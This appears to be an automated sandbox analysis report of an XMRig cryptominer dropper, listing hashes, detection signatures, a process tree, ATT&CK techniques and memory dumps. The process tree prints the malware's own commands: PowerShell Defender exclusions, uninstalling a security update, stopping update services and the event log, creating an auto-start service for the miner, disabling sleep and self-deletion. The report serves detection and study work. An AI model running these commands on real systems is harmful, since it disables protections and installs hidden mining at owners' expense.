Analysis

  • max time kernel
    80s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 00:25

General

  • Target

    9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe

  • Size

    5.3MB

  • MD5

    368aa5ed88410ed27c874687df5944cd

  • SHA1

    1436b3f2e4e3564be1ca038041b346011bf682ef

  • SHA256

    9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561

  • SHA512

    8787adcc5c6d0d185b0baf777430c44450ef7b84303bf4790cf03afda9a43ce7f4daf6f1f4864ec27ad4bf4a48cfefcbe3baac952aa0abd7267f1636f39ba0bd

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • UPX dump on OEP (original entry point) 12 IoCs
  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe
    "C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1848
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1448
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2632
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2728
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2636
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2792
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2620
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2548
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2460
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2724
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2568
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JIOGRCSG"
      2⤵
      • Launches sc.exe
      PID:1816
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2732
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2968
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JIOGRCSG"
      2⤵
      • Launches sc.exe
      PID:3020
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2032
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:1596
    • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
      C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1268
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2184
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:1880
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:2208
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1648
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1612
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1668
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2172
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1504
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1444
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1420
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1404
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2948
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2272

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      System Services

      2
      T1569

      Service Execution

      2
      T1569.002

      Persistence

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Privilege Escalation

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Defense Evasion

      Impair Defenses

      1
      T1562

      Impact

      Service Stop

      1
      T1489

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      Downloads

      • \ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        Filesize

        5.3MB

        MD5

        368aa5ed88410ed27c874687df5944cd

        SHA1

        1436b3f2e4e3564be1ca038041b346011bf682ef

        SHA256

        9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561

        SHA512

        8787adcc5c6d0d185b0baf777430c44450ef7b84303bf4790cf03afda9a43ce7f4daf6f1f4864ec27ad4bf4a48cfefcbe3baac952aa0abd7267f1636f39ba0bd

      • memory/1448-4-0x000007FEF619E000-0x000007FEF619F000-memory.dmp
        Filesize

        4KB

      • memory/1448-5-0x000000001B500000-0x000000001B7E2000-memory.dmp
        Filesize

        2.9MB

      • memory/1448-6-0x0000000001D50000-0x0000000001D58000-memory.dmp
        Filesize

        32KB

      • memory/1448-7-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
        Filesize

        9.6MB

      • memory/1448-8-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
        Filesize

        9.6MB

      • memory/1448-9-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
        Filesize

        9.6MB

      • memory/1448-10-0x0000000002954000-0x0000000002957000-memory.dmp
        Filesize

        12KB

      • memory/1448-11-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
        Filesize

        9.6MB

      • memory/2184-16-0x0000000019F50000-0x000000001A232000-memory.dmp
        Filesize

        2.9MB

      • memory/2184-17-0x00000000011C0000-0x00000000011C8000-memory.dmp
        Filesize

        32KB

      • memory/2272-28-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-38-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-40-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-29-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-30-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-32-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-27-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-33-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-31-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-34-0x00000000003F0000-0x0000000000410000-memory.dmp
        Filesize

        128KB

      • memory/2272-35-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-37-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-39-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2272-36-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2948-21-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2948-18-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2948-19-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2948-20-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2948-22-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2948-24-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB